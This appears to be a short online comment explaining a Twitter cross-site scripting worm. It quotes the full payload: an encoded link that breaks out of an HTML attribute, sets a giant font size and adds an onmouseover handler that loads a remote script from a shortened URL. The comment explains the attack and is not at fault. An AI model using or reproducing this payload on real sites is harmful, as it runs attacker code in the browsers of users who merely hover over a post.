This one links to an external script: hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22

It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.